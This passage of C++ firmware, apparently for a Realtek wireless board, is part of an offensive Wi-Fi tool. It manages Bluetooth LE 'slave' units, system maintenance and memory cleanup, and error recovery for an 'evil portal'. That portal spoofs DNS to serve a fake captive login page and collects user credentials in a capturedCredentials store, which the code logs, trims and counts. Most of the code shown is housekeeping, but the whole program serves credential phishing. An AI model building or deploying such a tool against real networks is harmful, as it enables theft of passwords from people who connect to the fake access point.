if (portalEnabled && dualBandActive) {
|
|
portalServer.handleClient();
|
|
dnsServer.processNextRequest(); // Handle DNS spoofing for captive portal
|
|
}
|
|
|
|
// Process BLE events and maintain connections
|
|
BLE.poll();
|
|
|
|
// Enhanced slave connection management
|
|
manageBLEConnections();
|
|
|
|
// Periodic system maintenance
|
|
static unsigned long lastMaintenance = 0;
|
|
if (millis() - lastMaintenance > 30000) { // Every 30 seconds
|
|
performSystemMaintenance();
|
|
lastMaintenance = millis();
|
|
}
|
|
|
|
delay(10); // Prevent watchdog timer issues
|
|
}
|
|
|
|
// Enhanced BLE connection management
|
|
void manageBLEConnections() {
|
|
static unsigned long lastConnectionCheck = 0;
|
|
|
|
if (millis() - lastConnectionCheck > 5000) { // Check every 5 seconds
|
|
for (auto it = slaves.begin(); it != slaves.end(); ) {
|
|
bool shouldRemove = false;
|
|
|
|
// Check connection status with null pointer protection
|
|
if (it->client) {
|
|
if (!it->client->isConnected()) {
|
|
addToLog("Slave " + it->id + " connection lost");
|
|
it->isConnected = false;
|
|
|
|
// Clean up resources
|
|
it->client->disconnect();
|
|
delete it->client;
|
|
it->client = nullptr;
|
|
it->cmdChar = nullptr;
|
|
it->notifyChar = nullptr;
|
|
|
|
// Try reconnection if not too recent
|
|
if (millis() - it->lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS) {
|
|
addToLog("Scheduling reconnection for " + it->id);
|
|
// The advertCallback will handle reconnection on next discovery
|
|
}
|
|
}
|
|
} else if (it->isConnected) {
|
|
// Invalid state - connected but no client
|
|
addToLog("Invalid connection state for " + it->id + " - resetting");
|
|
it->isConnected = false;
|
|
it->cmdChar = nullptr;
|
|
it->notifyChar = nullptr;
|
|
}
|
|
|
|
// Send keepalive ping to connected slaves
|
|
if (it->isConnected && it->client && it->client->isConnected()) {
|
|
if (millis() - it->lastSeen > 60000) { // 1 minute since last activity
|
|
if (!sendCommandToSlave(*it, "ping")) {
|
|
addToLog("Keepalive failed for " + it->id + " - marking disconnected");
|
|
it->isConnected = false;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Remove stale slaves
|
|
if (millis() - it->lastSeen > (BLE_RECONNECT_INTERVAL_MS * 3)) {
|
|
addToLog("Removing stale slave: " + it->id);
|
|
if (it->client) {
|
|
it->client->disconnect();
|
|
delete it->client;
|
|
}
|
|
shouldRemove = true;
|
|
}
|
|
|
|
if (shouldRemove) {
|
|
it = slaves.erase(it);
|
|
} else {
|
|
++it;
|
|
}
|
|
}
|
|
lastConnectionCheck = millis();
|
|
}
|
|
}
|
|
|
|
// System maintenance and status reporting
|
|
void performSystemMaintenance() {
|
|
int connectedSlaves = 0;
|
|
int totalSlaves = slaves.size();
|
|
|
|
for (const auto &slave : slaves) {
|
|
if (slave.isConnected) connectedSlaves++;
|
|
}
|
|
|
|
addToLog("Status: " + String(connectedSlaves) + "/" + String(totalSlaves) + " slaves online");
|
|
|
|
if (portalEnabled) {
|
|
addToLog("Portal active: " + portalSSID + " | Credentials: " + String(capturedCredentials.size()));
|
|
globalStats.portalUptime += 30000; // 30 seconds since last maintenance
|
|
}
|
|
|
|
// Restart BLE scanning if no slaves connected
|
|
if (connectedSlaves == 0 && totalSlaves < MAX_SLAVES) {
|
|
addToLog("No slaves connected - restarting BLE scan");
|
|
BLE.stopScan();
|
|
delay(100);
|
|
BLE.startScan();
|
|
}
|
|
|
|
// Advanced memory management
|
|
optimizeMemoryUsage();
|
|
|
|
// Update system health metrics
|
|
globalStats.freeHeapMemory = rtl_getFreeHeapSize();
|
|
if (globalStats.freeHeapMemory > globalStats.maxHeapUsage) {
|
|
globalStats.maxHeapUsage = globalStats.freeHeapMemory;
|
|
}
|
|
}
|
|
|
|
// Enhanced memory optimization and cleanup
|
|
void optimizeMemoryUsage() {
|
|
int freedMemory = 0;
|
|
uint32_t initialFreeHeap = rtl_getFreeHeapSize();
|
|
|
|
// Trim credential cache if too large
|
|
if (capturedCredentials.size() > 100) {
|
|
int removeCount = 20;
|
|
capturedCredentials.erase(capturedCredentials.begin(), capturedCredentials.begin() + removeCount);
|
|
freedMemory += removeCount * 64; // Estimate 64 bytes per credential
|
|
addToLog("Credential cache trimmed: " + String(capturedCredentials.size()) + " entries remain");
|
|
}
|
|
|
|
// Trim AP list if too large
|
|
if (apList.size() > 50) {
|
|
int removeCount = 10;
|
|
apList.erase(apList.begin(), apList.begin() + removeCount);
|
|
freedMemory += removeCount * 32; // Estimate 32 bytes per AP entry
|
|
addToLog("AP list trimmed: " + String(apList.size()) + " entries remain");
|
|
}
|
|
|
|
// Clean up old slave entries with better error handling
|
|
for (auto it = slaves.begin(); it != slaves.end(); ) {
|
|
if (!it->isConnected && (millis() - it->lastSeen > 300000)) { // 5 minutes
|
|
addToLog("Removing stale slave: " + it->id);
|
|
if (it->client) {
|
|
try {
|
|
it->client->disconnect();
|
|
delete it->client;
|
|
} catch (...) {
|
|
addToLog("Error cleaning up slave client for " + it->id);
|
|
}
|
|
}
|
|
it = slaves.erase(it);
|
|
freedMemory += 128; // Estimate slave structure size
|
|
} else {
|
|
++it;
|
|
}
|
|
}
|
|
|
|
// Force container optimization
|
|
capturedCredentials.shrink_to_fit();
|
|
apList.shrink_to_fit();
|
|
slaves.shrink_to_fit();
|
|
|
|
// Check for critical memory conditions
|
|
uint32_t currentFreeHeap = rtl_getFreeHeapSize();
|
|
if (currentFreeHeap < 8192) { // Less than 8KB
|
|
addToLog("CRITICAL: Low memory - " + String(currentFreeHeap) + " bytes free");
|
|
|
|
// Emergency cleanup
|
|
if (capturedCredentials.size() > 20) {
|
|
int oldSize = capturedCredentials.size();
|
|
capturedCredentials.resize(20);
|
|
addToLog("Emergency: Reduced credentials from " + String(oldSize) + " to 20");
|
|
}
|
|
if (apList.size() > 10) {
|
|
int oldSize = apList.size();
|
|
apList.resize(10);
|
|
addToLog("Emergency: Reduced AP list from " + String(oldSize) + " to 10");
|
|
}
|
|
|
|
// Request system recovery
|
|
handleSystemError("MEMORY_CRITICAL", "Free heap: " + String(currentFreeHeap));
|
|
}
|
|
|
|
uint32_t finalFreeHeap = rtl_getFreeHeapSize();
|
|
int actualFreed = finalFreeHeap - initialFreeHeap;
|
|
addToLog("Memory optimization complete. Free: " + String(finalFreeHeap) + " bytes (+" + String(actualFreed) + ")");
|
|
}
|
|
|
|
// Enhanced error recovery system
|
|
void handleSystemError(const String &errorType, const String &details) {
|
|
addToLog("SYSTEM ERROR: " + errorType + " - " + details);
|
|
globalStats.systemRestarts++;
|
|
|
|
if (errorType == "MEMORY_CRITICAL") {
|
|
// Already handled in optimizeMemoryUsage, just log
|
|
addToLog("Memory critical condition handled");
|
|
|
|
} else if (errorType == "BLE_FAILURE") {
|
|
// Restart BLE completely
|
|
addToLog("Restarting BLE subsystem");
|
|
BLE.stopScan();
|
|
delay(1000);
|
|
|
|
// Clean up all slave connections
|
|
for (auto &slave : slaves) {
|
|
if (slave.client) {
|
|
try {
|
|
slave.client->disconnect();
|
|
delete slave.client;
|
|
} catch (...) {
|
|
// Ignore cleanup errors
|
|
}
|
|
slave.client = nullptr;
|
|
}
|
|
slave.isConnected = false;
|
|
}
|
|
slaves.clear();
|
|
|
|
// Reinitialize BLE
|
|
BLE.init();
|
|
BLE.configClient();
|
|
BLE.onAdvertReport(bleAdvertCallback);
|
|
BLE.startScan();
|
|
|
|
} else if (errorType == "WIFI_FAILURE") {
|
|
// Restart WiFi interfaces
|
|
addToLog("Attempting WiFi recovery");
|
|
if (portalEnabled) {
|
|
stopEvilPortal();
|
|
}
|
|
delay(500);
|
|
|
|
// Restart management AP
|
|
wifi_off();
|
|
delay(1000);
|
|
wifi_on(RTW_MODE_AP);
|
|
wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1);
|
|
|
|
addToLog("WiFi recovery attempted");
|
|
}
|
|
}
|